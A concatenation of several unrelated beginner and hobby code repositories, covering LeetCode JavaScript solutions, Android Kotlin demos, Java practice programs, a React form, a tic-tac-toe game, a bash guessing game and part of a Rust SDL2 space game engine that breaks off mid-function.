<repo_name>aagrav/LeetCode-Exercises<file_sep>/longest-palindomic-substring.js //Given a string s, return the longest palindromic substring in s. /* Example 1: Input: s = "babad" Output: "bab" Note: "aba" is also a valid answer. Example 2: Input: s = "cbbd" Output: "bb" Example 3: Input: s = "a" Output: "a" Example 4: Input: s = "ac" Output: "a" */ // Expand Around Center solution // T O(N^2) // S O(1) var longestPalindrome = function(s) { var max = ''; for (var i = 0; i < s.length; i++) { // this loop is to take into account // different palindromes like 'aba' and 'abba' for (var j = 0; j < 2; j++) { var left = i; var right = i + j; while (s[left] && s[left] === s[right]) { left--; right++; } // here imagine we get into string like // "sabbad", then // right = 5 // left = 0 // and actual length of "abba" should be "4" // 5 - 0 - 1 === 4 if ((right - left - 1) > max.length) { max = s.substring(left + 1, right); } } } return max; };<file_sep>/two-sum.js // Given an array of integers nums and an integer target, return indices of the two numbers such that they add up to target. // You may assume that each input would have exactly one solution, and you may not use the same element twice. // You can return the answer in any order. /** * @param {number[]} nums * @param {number} target * @return {number[]} */ var twoSum = function(nums, target) { var solutions = []; for(var x = 0; x<nums.length; x++) { var complement = nums.indexOf(target-nums[x]); if(complement != -1 && complement !== x) { return [x,complement] } } }; //One pass array O(n)
47992e0e60e2b2496d60a817bc71b65af8ef7cac
[ "JavaScript" ]
2
JavaScript
aagrav/LeetCode-Exercises
9aa659064227758b201da42da9e89778a1736a8e
d5976a03aedf6859f1061bc4fe3e27b67b47222a
refs/heads/master
<repo_name>Gokuldroid/AndroidTutorials<file_sep>/app/src/main/java/me/tuple/androidtutorials/MainApplication.kt package me.tuple.androidtutorials import android.app.Application import android.util.Log import timber.log.Timber import com.github.promeg.xlog_android.lib.XLogConfig import android.widget.TextView import com.promegu.xlog.base.XLogMethod import me.tuple.androidtutorials.logger.TestClass class MainApplication : Application() { override fun onCreate() { super.onCreate() if (BuildConfig.DEBUG) { Timber.plant(Timber.DebugTree()) }else{ Timber.plant(CrashlyticsTree()) } val xLogMethods: MutableList<XLogMethod> = ArrayList() xLogMethods.add(XLogMethod(TestClass::class.java, "getFullName")) XLogConfig.config(XLogConfig.newConfigBuilder(this) .logMethods(xLogMethods) .build()) } inner class CrashlyticsTree : Timber.Tree() { override fun log(priority: Int,tag: String?,message: String, t: Throwable?) { if (priority == Log.VERBOSE || priority == Log.DEBUG || priority == Log.INFO) { return } //Send to crash analytics here } } }<file_sep>/app/src/main/java/me/tuple/androidtutorials/logger/MainActivity.kt package me.tuple.androidtutorials.logger import android.os.Bundle import android.support.v7.app.AppCompatActivity import android.util.Log import android.widget.ArrayAdapter import kotlinx.android.synthetic.main.activity_main.* import kotlinx.android.synthetic.main.content_main.* import me.tuple.androidtutorials.R import timber.log.Timber class MainActivity : AppCompatActivity() { val TAG = "Demo" override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) setSupportActionBar(toolbar) val items = arrayOf("Native", "Timber") val adapter = ArrayAdapter<String>(this, android.R.layout.simple_spinner_dropdown_item, items) logger_options.adapter = adapter log.setOnClickListener { sampleLogTimber() TestClass.getName() } } private fun sampleLog() { Log.d(TAG, "Hello log") } private fun sampleLogTimber(){ Timber.d("Hello world from %s", "Gokul") } } <file_sep>/app/src/main/java/me/tuple/androidtutorials/logger/TestClass.java package me.tuple.androidtutorials.logger; import com.promegu.xlog.base.XLog; public class TestClass { public static String getName(){ return getFullName("Gokul","Prabhu"); } @XLog public static String getFullName(String firstName,String lastName){ return firstName + lastName; } }
8d6bbe3adf504f1f3113343879e790d61ceba3c9
[ "Java", "Kotlin" ]
3
Kotlin
Gokuldroid/AndroidTutorials
5dbbd26d33b39f0a903c5db2400ab9fa7444f8af
12206e03e95d7d16ef57d1d175d65f0e29ad8a9c
refs/heads/master
<file_sep>// Select size input const c = document.getElementById('pixelCanvas'); // get the ID of the Canvas to make the grid on let grid_height = $("#inputHeight"); // The input box for the height of the grid let grid_width = $("#inputWidth"); // The input box for the width of the grid // Select color input let selected_color = $("#colorPicker"); // When size is submitted by the user, call makeGrid() $('#input_submit').click(function(e){ e.preventDefault(); makeGrid(); }); // Create the grid pattern when the submit button is clicked. function makeGrid() { c.innerHTML = ''; let height = grid_height.val(); let width = grid_width.val(); // Function which fills color into the cell that was clicked and changes the color let addEvent = function(cell) { cell.addEventListener('click', function() { cell.style.backgroundColor = selected_color.val(); }); } // Create the grid using a nested forloop and attach click event to each cell in the Grid for (let i = 0; i < height; i++) { let row = c.insertRow(i); for (let j = 0; j < width; j++) { let cell = row.insertCell(j); cell.addEventListener('click', addEvent(cell)); } } } <file_sep># ALC-frontend-project-pixel-art
31a479d446d3ba241e2d3321909e976d705ea006
[ "JavaScript", "Markdown" ]
2
JavaScript
khairah1/ALC-frontend-project-pixel-art
0e29faaf601e3898a5dc56b6f1d8fa52bec1c9fd
dd69edf9b282c7bac5bca34acfdf60a57cc6c723
refs/heads/master
<file_sep> public class sangu { }
88cf73ac91e8f9ba6987aed3f8efda7ec6e1f978
[ "Java" ]
1
Java
kumar1178/testing
239cee1c31e07e97cb94942ee8bd603e2437fbd0
64fa320bfc0eedb4a52127e4c053d27ad3dc0e81
refs/heads/master
<file_sep>const tl = gsap.timeline() const title = document.getElementsById('title') tl.fromTo(title, { x: -30, opacity: 0 }, { x: 0, opacity: 1 })
4ddef3d8ad4db930a77f288bb8fa392be676cde9
[ "JavaScript" ]
1
JavaScript
Vernon-van-der-Merwe/payment-processing-site
2c72ba2f517eb354888f7bebf5d7058110a044d2
bc1471978a582e85287789b2c3b5849083ceb486
refs/heads/master
<file_sep>package practice_1; public class DigiPro_29june { public static void main(String[] args) { String str=""; char[] arr= {'a','s','d','d'}; for(int i=0;i<arr.length;i++) { str=str+arr[i]; } System.out.println(str); } }<file_sep>package practice_2; import java.util.TreeSet; import java.util.*; public class Tree_set { public static void main(String[] args) { TreeSet<String> al=new TreeSet<String>(); al.add("aaa"); al.add("vvv"); al.add("bbb"); al.add("ccc"); Iterator<String> itr=al.iterator(); System.out.println("Displaying in ascending order :"); while(itr.hasNext()) { System.out.println(itr.next()); } System.out.println("displaying in descending order :"); Iterator<String> itr2=al.descendingIterator(); while(itr2.hasNext()) { System.out.println(itr2.next()); } System.out.println("Displaying the highest values :"+al.pollFirst()); System.out.println("Displaying the lowest values : "+al.pollLast()); System.out.println("Displaying the size :"+al.size()); } }<file_sep>package practice_2; import java.util.*; public class LinkedHash_map { public static void main(String[] args) { LinkedHashMap<Integer, String> map = new LinkedHashMap<Integer, String>(); map.put(100,"Amit"); map.put(101,"Vijay"); map.put(102,"Rahul"); //Fetching key System.out.println("Keys: "+map.keySet()); //Fetching value System.out.println("Values: "+map.values()); //Fetching key-value pair System.out.println("Key-Value pairs: "+map.entrySet()); //removing by the keys map.remove(100); System.out.println("after removing :"+map); //create set so that we can traverse Set st1=map.entrySet(); Iterator itr=st1.iterator(); while(itr.hasNext()) { System.out.println(itr.next()); } } }<file_sep>package practice_2; public class Ascii_values { public static void main(String[] args) { char A='A'; char Z='Z'; char a='a'; char z='z'; int A_value=A,Z_value=Z; int a_value=a,z_value=z; System.out.println(A+" to "+Z+" is "+A_value+" to "+Z_value); System.out.println(a+" to "+z+" is "+a_value+" to "+z_value); } }<file_sep>package practice_2; import java.util.Scanner; import java.util.*; public class LCM_GCD { public static void main(String[] args) { Scanner sc=new Scanner(System.in); int n1=sc.nextInt(); int n2=sc.nextInt(); int n3=sc.nextInt(); int n4=sc.nextInt(); /* GCD of two numbers int n1 = 81, n2 = 153; while(n1 != n2) { if(n1 > n2) n1 -= n2; else n2 -= n1; } System.out.println("G.C.D = " + n1); } */ } }<file_sep>package practice_2; //import java.lang.reflect.Array; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.HashSet; import java.util.Set; public class Hash_set { public static void main(String[] args) { Set<Integer> st=new HashSet<Integer>(); List<Integer> ls=new ArrayList<Integer>(); ls.add(1); ls.add(2); ls.add(3); ls.add(3); ls.add(4); ls.add(5); st.addAll(ls); System.out.println("Arraylist :"+ls); System.out.println("Set : "+st); Set<String> st2=new HashSet<String>(); String str="hi hi hi hello welcome"; String strArray[]=str.split(" "); System.out.println("String :"+str); //System.out.println("StringArray :"+strArray); List<String> ls2=new ArrayList<String>(); ls2= Arrays.asList(strArray); System.out.println("ArrayList : "+ls2); st2.addAll(ls2); System.out.println("As set :"+st2); if(!st2.isEmpty()) { System.out.println("true "); } } }<file_sep>package practice_2; import java.util.HashMap; import java.util.Map.Entry; public class Letter_occurence { static void characterCount(String inputString) { HashMap<Character, Integer> charCountMap = new HashMap<Character, Integer>(); char[] strArray = inputString.toCharArray(); for (char c : strArray) { if (charCountMap.containsKey(c)) { charCountMap.put(c, charCountMap.get(c) + 1); } else { charCountMap.put(c, 1); } } for (Entry<Character, Integer> en : charCountMap.entrySet()) { System.out.println(en.getKey() + "=" + en.getValue()); } } public static void main(String[] args) { String str ="gowrigowri"; characterCount(str); } }<file_sep>package practice_2; public class Thread_program { public static void main(String[] args) { Thread_1 obj1=new Thread_1(); Thread_1 obj2=new Thread_1(); obj1.start(); obj2.start(); } } class Thread_1 extends Thread { public void run() { for(int i=0;i<5;i++) { try { Thread.sleep(100); System.out.println("Thread .."+i); } catch(Exception e) { System.out.println(e); } } } }
4cc91046fd14048fb20b6a7cf121daf2598f20f2
[ "Java" ]
8
Java
GOWRICSE/Practice_1
9197d72f1742f34242180d9465bd409930ea2e0e
386267d0aea711db56283c42e31abcbea08c6ffa
refs/heads/main
<file_sep>import logo from './logo.svg'; import './App.css'; import React, {useState} from "react" import Form from "./Form" function App() { const [teamMembersList, setTeamMembersList] = useState([ { id: 1, name: "Jason", email: "<EMAIL>", role: "dreamer", } ]) const addNewTeamMember = (people)=> { setTeamMembersList([...teamMembersList, {...people, id: Date.now() }]) } return ( <div className="App"> <h1>Team builder</h1> <Form addNewTeamMember = {addNewTeamMember} teamMembersList={teamMembersList}/> </div> ); } export default App; <file_sep>import React, {useState} from "react" const Form = (props) => { const [people, setPeople] = useState({name: "", email: "", role: ""}) const handleChanges = (event) => { const newStateObj = {...people, [event.target.name]: event.target.value} setPeople(newStateObj) } const submitForm = (event) => { event.preventDefault(); props.addNewTeamMember(people) setPeople({name: "", email:"", role: ""}) } return ( <form onSubmit = {submitForm}> <label htmlFor = "name">Name:</label> <input id="name" type= "text" placeholder = "Enter a team member name" name= "name" velue = {people.name} onChange = {handleChanges}/> <label htmlFor = "email">Email:</label> <input id="email" type= "email" placeholder = "Enter a team member Email" name= "email" velue = {people.email} onChange = {handleChanges}/> < label htmlFor = "role">Role:</label> <input id="role" type= "text" placeholder = "Enter a team member role" name= "role" velue = {people.role} onChange = {handleChanges}/> <button type = "submit"> Add to the team member list </button> <div className = "list"> {props.teamMembersList.map(person => ( <div className = "person" key = {person.id}> <h2>{person.name}</h2> <p>{person.email}</p> <p>{person.role}</p> </div> ))} </div> </form> ) } export default Form;
32b97b22758a06eeb666ef678e952cdea3d64cdd
[ "JavaScript" ]
2
JavaScript
sunsihan2/team-builder
e8bf0f0ac588601e35f5980b719b159e0ae13142
b956aa1dcb4c160161f7ea86a430a9bc64027543
refs/heads/master
<repo_name>srinandan2001/Assignment<file_sep>/README.md # Guessing Game Date and time at which make was run: Sun Apr 19 04:53:04 UTC 2020 Number of lines: 26 <file_sep>/guessinggame.sh number_of_files=$(ls -l |grep "^-"|wc -l) c=0 function guess { #function echo "Guess the number of files in the directory" read number if [[ $number -gt $number_of_files ]] #if statement then echo "Too high!!" c=0 elif [[ $number -lt $number_of_files ]] then echo "Too low try again!" c=0 elif [[ $number -eq $number_of_files ]] then echo "Right answer!" c=1 else echo "Enter a number!!" c=0 fi } while [[ $c -eq 0 ]] #loop do guess done <file_sep>/makefile README.md:guessinggame.sh touch README.md echo "# Guessing Game" >> README.md echo " " >> README.md echo "Date and time at which make was run: $$(date -u)" >> README.md echo "Number of lines: $$(wc -l guessinggame.sh | egrep -o "[0-9]+")" >> README.md
fb1fd0d7932b129fc319b36e8d3a3209cab7f64b
[ "Markdown", "Makefile", "Shell" ]
3
Markdown
srinandan2001/Assignment
b902896f55e700d9300b6b7371eecae7eb857d5d
f32bea085763e1282edc7cff286c54e8d2cecd59
refs/heads/master
<repo_name>Lucascoorek/mdbootstrap<file_sep>/src/TaskList.js import React from "react"; import { MDBCol, MDBContainer } from "mdbreact"; import "./TaskList.css"; function TaskList({ tasks }) { const task = tasks.map(task => ( <li className="lead" key={task.number}> {task.name} {task.number} </li> )); return ( <MDBContainer> <MDBCol className="text-center"> <ul>{task}</ul> </MDBCol> </MDBContainer> ); } export default TaskList; <file_sep>/src/App.js import React, { Component } from "react"; import { MDBBtn, MDBCol, MDBContainer, MDBAlert } from "mdbreact"; import "./index.css"; import TaskList from "./TaskList"; class App extends Component { state = { tasks: [], error: false }; handleAdd = () => { const newTask = { name: "Task number", number: this.state.tasks.length + 1 }; const newTasks = [...this.state.tasks, newTask]; this.setState({ tasks: newTasks, error: false }); }; handleRemove = () => { if (this.state.tasks.length > 0) { let tasksCopy = this.state.tasks; tasksCopy.pop(); this.setState({ tasks: tasksCopy, error: false }); } else { this.setState({ error: true }); } }; handleClear = () => { if (this.state.tasks.length > 0) { this.setState({ tasks: [], error: false }); } else { this.setState({ error: true }); } }; render() { return ( <MDBContainer> <MDBCol className="text-center"> {this.state.error ? ( <MDBAlert color="warning">List is empty. Add task.</MDBAlert> ) : null} <MDBBtn onClick={this.handleAdd} target="blank" color="primary"> <strong>ADD</strong> </MDBBtn> <MDBBtn onClick={this.handleRemove} target="blank" color="warning"> <strong>Remove</strong> </MDBBtn> <MDBBtn onClick={this.handleClear} target="blank" color="danger"> <strong>Clear</strong> </MDBBtn> </MDBCol> <TaskList {...this.state} /> </MDBContainer> ); } } export default App;
47fbca87791f92e41e3da24bfa0df8b04acbdcc1
[ "JavaScript" ]
2
JavaScript
Lucascoorek/mdbootstrap
50ddcac84db9ee7ecf41699e86d97f3ec884b20f
b6cfb93934d144d2e56f2996947855714d3471f5
refs/heads/master
<repo_name>karandocs/tictoc<file_sep>/tictocjs/index.js /** * This program is a boilerplate code for the standard tic tac toe game * Here the “box” represents one placeholder for either a “X” or a “0” * We have a 2D array to represent the arrangement of X or O is a grid * 0 -> empty box * 1 -> box with X * 2 -> box with O * * Below are the tasks which needs to be completed: * Imagine you are playing with the computer so every alternate move should be done by the computer * X -> player * O -> Computer * * Winner needs to be decided and has to be flashed * * Extra points will be given for approaching the problem more creatively * */ const grid = []; const GRID_LENGTH = 3; let turn = 'X'; var moves = 0; let endGame = false; function initializeGrid() { for (let colIdx = 0;colIdx < GRID_LENGTH; colIdx++) { const tempArray = []; for (let rowidx = 0; rowidx < GRID_LENGTH;rowidx++) { tempArray.push(0); } grid.push(tempArray); } turn = 'X'; console.log('start') } function getRowBoxes(colIdx) { let rowDivs = ''; for(let rowIdx=0; rowIdx < GRID_LENGTH ; rowIdx++ ) { let additionalClass = 'darkBackground'; let content = ''; const sum = colIdx + rowIdx; if (sum%2 === 0) { additionalClass = 'lightBackground' } const gridValue = grid[colIdx][rowIdx]; if(gridValue === 1) { content = '<span class="cross">X</span>'; } else if (gridValue === 2) { content = '<span class="cross">O</span>'; } rowDivs = rowDivs + '<div colIdx="'+ colIdx +'" rowIdx="' + rowIdx + '" class="box ' + additionalClass + '">' + content + '</div>'; } return rowDivs; } function getColumns() { let columnDivs = ''; for(let colIdx=0; colIdx < GRID_LENGTH; colIdx++) { let coldiv = getRowBoxes(colIdx); coldiv = '<div class="rowStyle">' + coldiv + '</div>'; columnDivs = columnDivs + coldiv; } return columnDivs; } function renderMainGrid() { const parent = document.getElementById("grid"); const columnDivs = getColumns(); parent.innerHTML = '<div class="columnsStyle">' + columnDivs + '</div>'; } function onBoxClick() { // move by the player var rowIdx = this.getAttribute("rowIdx"); var colIdx = this.getAttribute("colIdx"); let current_turn = turn; if(endGame){ alert('Reset game'); resetGame(); } if(grid[colIdx][rowIdx] !== 0){ console.log('Box already taken') return } grid[colIdx][rowIdx] = 1; moves += 1 renderMainGrid(); addClickHandlers(); if(checkForWin(colIdx, rowIdx)){ alert('Winner is '+ turn); resetGame(); } else{ turn = 'O' randomMove(); } } function addClickHandlers() { var boxes = document.getElementsByClassName("box"); for (var idx = 0; idx < boxes.length; idx++) { boxes[idx].addEventListener('click', onBoxClick, false); } } function randomMove(){ // random move by the computer var cs=grid.length, cr=Math.floor((Math.random()*cs)+1)-1, cc=Math.floor((Math.random()*cs)+1)-1; if(grid[cr][cc] === 0){ grid[cr][cc] = 2; renderMainGrid(); addClickHandlers(); if(checkForWin(cr, cc)){ alert('Winner is '+ turn); resetGame(); } else { turn = 'X' } } else { randomMove(); } } function getCol(matrix, col){ // gets column value based on the column id var column = []; for(var i=0; i<matrix.length; i++){ column.push(matrix[i][col]); } return column; } function columnWin(id){ // checks for column win condition column = getCol(grid, id) return column.every( (val, i, arr) => val === arr[0] ) } function rowWin(id){ // checks for row win condition row = grid[id] return row.every( (val, i, arr) => val === arr[0] ) } function diagonalWin() { // checks for diagonal win condition b = grid; var win=3, len=b.length, pdr=0, pdl=0, cdr = 0, cdl = 0; for(var i=0;i<len;i++){ for(var j=0;j<len;j++){ if(b[i][j]=== 1 && i<len-win+1){ pdr=0; pdl=0; for(var z=0;z<win;z++){ (b[i+z][j+z]=== 1) ? pdr++ : pdr=0; (b[i+z][j-z]=== 1) ? pdl++ : pdl=0; } } if(b[i][j]=== 2 && i<len-win+1){ cdr=0; cdl=0; for(var z=0;z<win;z++){ (b[i+z][j+z]=== 2) ? cdr++ : cdr=0; (b[i+z][j-z]=== 2) ? cdl++ : cdl=0; } } if(cdr===win || cdl===win || pdr===win || pdl===win){ return true;} } } } function checkForWin(r, c) { if (columnWin(c)){ return true } else if (rowWin(r)){ return true } else if (diagonalWin()){ return true } else if (GRID_LENGTH * GRID_LENGTH === moves){ endGame = true } return false } function startGame(){ initializeGrid(); renderMainGrid(); addClickHandlers(); } function resetGame(){ location.reload(); } startGame();
30459ae6122ab27ea7e9fc9fb96846c0792d5ab0
[ "JavaScript" ]
1
JavaScript
karandocs/tictoc
f756a9f64a53044ac67ff9afa770378570a0d28d
299891edba14e7e962f2cde9b258c7c4eddb1ea3
refs/heads/main
<file_sep>include ':app' rootProject.name='classproject' <file_sep>package com.example.classproject import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.content.Intent import android.widget.Button import android.widget.EditText import android.widget.Toast class loginactivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_loginactivity) val log = findViewById<Button>(R.id.btn_sign)as Button val go = findViewById<Button>(R.id.btn_log)as Button val tone = findViewById<EditText>(R.id.username)as EditText val ttwo = findViewById<EditText>(R.id.password)as EditText go.setOnClickListener{ if (tone.text.toString()== "vintage" && ttwo.text.toString()== "123"){ val intent = Intent(applicationContext, MainActivity::class.java) startActivity(intent) } else{ var toast = Toast.makeText(applicationContext, "username or password incorrect", Toast.LENGTH_LONG) toast.show() } } log.setOnClickListener{ val intent = Intent(applicationContext, Signupactivity::class.java) startActivity(intent) } } } <file_sep>package com.example.classproject import android.content.Intent import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.widget.Button class Signupactivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_signupactivity) val b =findViewById<Button>(R.id.back) b.setOnClickListener { val intent = Intent(applicationContext, loginactivity::class.java) startActivity(intent) } } }
1290a5ea6d49d24ba4fc5448d56503c0e3413bbc
[ "Kotlin", "Gradle" ]
3
Gradle
Githui1000/androidClassProject
902abc47aee0b3a29c0a94c0167d9b7fc8494f62
70c24504fbc3a84596fce4ed523a504dd884627e
refs/heads/master
<repo_name>aljazerzen/dgame<file_sep>/src/world/thruster.rs use super::{Block, ForcePoint}; use crate::math::{polygon::Polygon, vec::*}; use crate::ui::user_controls::Action; use gamemath::{Mat2, Mat3, Vec2}; use serde::{Deserialize, Serialize}; use serde_with::serde_as; #[serde_as] #[derive(Clone, Debug, Serialize, Deserialize)] pub struct Thruster { shape: Polygon, #[serde_as(as = "Vec2Serde<f32>")] offset: Vec2<f32>, angle: f32, throttle: f32, throttle_target: f32, #[serde_as(as = "Vec2Serde<f32>")] thrust_vector: Vec2<f32>, } impl Thruster { pub fn new(width: f32, offset: Vec2<f32>, angle: f32) -> Self { Thruster { shape: Thruster::shape(width), offset, angle, throttle: 0.0, throttle_target: 0.0, thrust_vector: Vec2::new(0.0, -width * width * 0.05), } } pub fn shape(width: f32) -> Polygon { let p = Polygon::from( &[ [0.1, 0.0], [0.9, 0.0], [1.0, 0.1], [1.0, 0.9], [0.8, 1.1], [0.9, 1.3], [1.0, 1.7], [0.0, 1.7], [0.1, 1.3], [0.2, 1.1], [0.0, 0.9], [0.0, 0.1], ][..], ); let (_, center) = p.area_and_centroid(); let transform = Mat3::identity().scaled(Vec2::new(width, width)) * translation(-center); transform * p } } #[typetag::serde] impl Block for Thruster { fn shape(&self) -> &Polygon { &self.shape } fn offset(&self) -> Vec2<f32> { self.offset } fn set_offset(&mut self, offset: Vec2<f32>) { self.offset = offset; } fn angle(&self) -> f32 { self.angle } fn set_angle(&mut self, angle: f32) { self.angle = angle; } fn force(&self) -> ForcePoint { ForcePoint { torque: 0.0, force: self.thrust_vector * self.throttle, } } fn tick(&mut self) { let change = (self.throttle_target - self.throttle).min(0.01); self.throttle = (self.throttle + change).min(1.0).max(0.0); } fn apply_action(&mut self, action: &Action) { if let Action::Accelerate { direction, throttle, } = action { let thrust = Mat2::rotation(self.angle) * self.thrust_vector; let directional_factor = direction.dot(thrust) / direction.length() / thrust.length(); self.throttle_target = throttle * directional_factor.max(0.0); } } } <file_sep>/src/main.rs mod client; mod engine; mod math; mod render; mod stars; mod ui; mod world; use client::{Client, EntityId}; use engine::engine_tick; use gamemath::Vec2; use world::grid::construct_demo_world; use sdl2::event::Event; use sdl2::keyboard::Keycode; use sdl2::render::Canvas; use sdl2::video::Window; fn is_exit_event(event: &Event) -> bool { match event { Event::Quit { .. } | Event::KeyDown { keycode: Some(Keycode::Escape), .. } => true, _ => false, } } fn main() { let sdl_context = sdl2::init().unwrap(); let video_subsystem = sdl_context.video().unwrap(); let attributes = video_subsystem.gl_attr(); attributes.set_multisample_buffers(1); attributes.set_multisample_samples(5); let resolution = Vec2::new(1600.0, 900.0); let window = video_subsystem .window("Example", resolution.x as u32, resolution.y as u32) .build() .unwrap(); let mut canvas: Canvas<Window> = window.into_canvas().present_vsync().build().unwrap(); let mut event_pump = sdl_context.event_pump().unwrap(); let mut world = construct_demo_world(); let grid_id = *world.grids.iter().next().unwrap().0; let entity_id = world.grids[&grid_id].entities[0].get_id(); let mut client = Client::new(resolution, EntityId::new(grid_id, entity_id)); client.load(); 'running: loop { for event in event_pump.poll_iter() { if is_exit_event(&event) { break 'running; } client.handle_event(&event); } engine_tick(&mut world, &mut client.view); client.tick(&mut world); client.render(&world, &mut canvas); canvas.present(); ::std::thread::sleep(::std::time::Duration::new(0, 1_000_000_000u32 / 60)); } } <file_sep>/Cargo.toml [package] name = "dgame" version = "0.1.0" authors = ["aljazerzen <<EMAIL>>"] edition = "2018" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] sdl2 = "^0.34" gamemath = "^0.4" rand = "^0.7" serde = { version = "1.0", features = ["derive"] } serde_with = "1.5" typetag = "0.1" rmp-serde = "0.14.4"<file_sep>/src/world/entity.rs use super::{Insist, Block}; use crate::math::{polygon::Polygon, vec::*}; use crate::ui::user_controls::Action; use gamemath::{Mat2, Mat3, Vec2, Vec3}; use serde::{Deserialize, Serialize}; use serde_with::serde_as; use std::io::Write; const ENTITY_SHAPE_DENSITY: f32 = 0.02; #[serde_as] #[derive(Debug, Serialize, Deserialize, Clone)] pub struct Entity { id: u64, pub shape: Polygon, #[serde_as(as = "Insist<Vec2Serde<f32>>")] pub position: Insist<Vec2<f32>>, pub angle: Insist<f32>, pub blocks: Vec<Box<dyn Block>>, // calculated values pub mass: f32, pub mass_angular: f32, } impl Entity { pub fn new(poly: Polygon, blocks: Vec<Box<dyn Block>>) -> Entity { use rand::RngCore; let mut rng = rand::thread_rng(); let mut result = Entity { id: rng.next_u64(), shape: poly, position: Insist::default(), angle: Insist::default(), blocks, mass: 0.0, mass_angular: 0.0, }; result.redistribute_weight(); result } pub fn new_from_block(mut block: Box<dyn Block>) -> Entity { block.set_offset(Vec2::default()); block.set_angle(0.0); let shape = block.shape().clone(); let mut entity = Entity::new(shape, vec![Box::from(block)]); entity.position = Insist::default(); entity } pub fn get_id(&self) -> u64 { self.id } pub fn apply_action(&mut self, action: Action) { match action { Action::Accelerate { .. } => { // let rotation = Mat2::rotation(-self.angle.state); // direction = rotation * direction; for block in &mut self.blocks { block.apply_action(&action); } } Action::Rotate { .. } => { for block in &mut self.blocks { block.apply_action(&action); } } Action::UpdateShape { new_shape } => { let transform = Mat3::rotation(-self.angle.state) * translation(-self.position.state); self.expand_shape(transform * *new_shape); self.redistribute_weight(); } Action::JoinEntity { mut entity } => { let transform = Mat3::rotation(-self.angle.state) * translation(entity.position.state - self.position.state) * Mat3::rotation(entity.angle.state); self.expand_shape(transform * entity.shape); for mut block in entity.blocks.drain(..) { block.set_offset( (transform * block.offset().into_homogeneous()).into_cartesian(), ); block.set_angle(block.angle() + entity.angle.state - self.angle.state); self.add_block(block); } self.redistribute_weight(); } Action::SaveEntity => { self.save_to_file().ok(); } _ => {} } // if let Some(grid_coordinates) = user_controls.clicked { // let click = // Mat2::rotation(-self.angle.state) * (grid_coordinates - self.position.state); // self.shape.intrude_point(click); // self.redistribute_weight(); // } } pub fn add_block(&mut self, block: Box<dyn Block>) { let block_shape = block.transform() * Mat3::identity().scaled(Vec2::new(0.999, 0.999)) * block.shape().clone(); if !self.shape.contains_polygon(&block_shape) { return; } for b in &self.blocks { let s = b.transform() * b.shape().clone(); for p in &s.points { if block_shape.contains_point(p.into_cartesian()) { return; } } } self.blocks.push(block); } pub fn tick(&mut self) { for block in &mut self.blocks { block.tick(); } } pub fn expand_shape(&mut self, new_shape: Polygon) { let mut polygons = self.shape.clone().intersection(new_shape); for poly in polygons.drain(..) { if poly.contains_point(Vec2::new(0.0, 0.0)) { // let (old_area, _) = self.shape.area_and_centroid(); self.shape = poly; // let (new_area, _) = self.shape.area_and_centroid(); } } } pub fn force(&self) -> ForcePoint { let mut result = ForcePoint::default(); for block in &self.blocks { let mut force_point = block.force(); force_point.force = Mat2::rotation(block.angle()) * force_point.force; force_point.add_force_torque(block.offset()); result += force_point; } result.force = Mat2::rotation(self.angle.state) * result.force; result } pub fn redistribute_weight(&mut self) { let mass_point = self.mass_point(); // mass point should be aligned with origin of entity coordinate system for block in &mut self.blocks { block.set_offset(block.offset() - mass_point.point); } self.shape = translation(-mass_point.point) * self.shape.clone(); self.position.state += mass_point.point; self.mass = mass_point.mass; self.mass_angular = self.mass_angular(); } pub fn mass_angular(&self) -> f32 { let mut sum = 0.0; for block in &self.blocks { sum += block.mass() * block.offset().length_squared(); } let shape_mass = self.shape.area_and_centroid().0.abs() * ENTITY_SHAPE_DENSITY; sum += shape_mass * self.shape.radius_of_gyration(Vec2::default()); sum } pub fn mass_point(&self) -> MassPoint { let (shape_area, centroid) = self.shape.area_and_centroid(); let mut result = MassPoint { point: centroid, mass: shape_area.abs() * ENTITY_SHAPE_DENSITY, }; for block in &self.blocks { result += MassPoint { point: block.offset(), mass: block.mass(), } } result } pub fn projection_to_grid(&self) -> Mat3 { translation(self.position.state) * Mat3::rotation(self.angle.state) } pub fn save_to_file(&self) -> Result<(), std::io::Error> { let bytes = rmp_serde::to_vec(self).unwrap(); let filename = "./data/entities/".to_owned() + &self.id.to_string(); let mut file = std::fs::File::create(filename)?; file.write_all(&bytes)?; Ok(()) } pub fn load_from_file( filename: std::ffi::OsString, ) -> Result<Entity, rmp_serde::decode::Error> { let bytes = std::fs::read(filename).unwrap_or_else(|_| Vec::new()); rmp_serde::from_read_ref(&bytes) } pub fn list_saved() -> Result<Vec<std::ffi::OsString>, std::io::Error> { let res = std::fs::read_dir("./data/entities")?; Ok(res .filter(|e| { e.as_ref() .map(|e| e.file_type().unwrap()) .map(|t| t.is_file()) .unwrap_or(false) }) .map(|e| e.unwrap().path().into_os_string()) .collect()) } } impl PartialEq<u64> for Entity { fn eq(&self, right: &u64) -> bool { self.id == *right } } #[derive(Clone, Debug, Default)] pub struct MassPoint { point: Vec2<f32>, mass: f32, } impl std::ops::AddAssign<MassPoint> for MassPoint { fn add_assign(&mut self, right: MassPoint) { self.point += (right.point - self.point) * (right.mass / self.mass); self.mass += right.mass; } } impl std::ops::Add<MassPoint> for MassPoint { type Output = MassPoint; fn add(self, right: MassPoint) -> MassPoint { let mut result = self; result += right; result } } #[derive(Default, Debug, Clone)] pub struct ForcePoint { pub torque: f32, pub force: Vec2<f32>, } impl ForcePoint { fn add_force_torque(&mut self, r: Vec2<f32>) { let torque: Vec3<f32> = Vec3::from(r).cross(self.force.into()); self.torque += torque.z; } } impl std::ops::AddAssign<ForcePoint> for ForcePoint { fn add_assign(&mut self, right: ForcePoint) { self.torque += right.torque; self.force += right.force; } } <file_sep>/src/ui/user_controls.rs use crate::world::{Entity}; use crate::math::polygon::Polygon; use crate::render::View; use gamemath::{Vec2}; use sdl2::event::Event; use sdl2::keyboard::Keycode; #[derive(Default)] pub struct UserControls { up: bool, down: bool, left: bool, right: bool, rotate_right: bool, rotate_left: bool, action_queue: Vec<Action>, } impl UserControls { pub fn poll_actions(&mut self) -> std::vec::Drain<'_, Action> { self.action_queue.drain(..) } pub fn handle_event(&mut self, event: &Event, 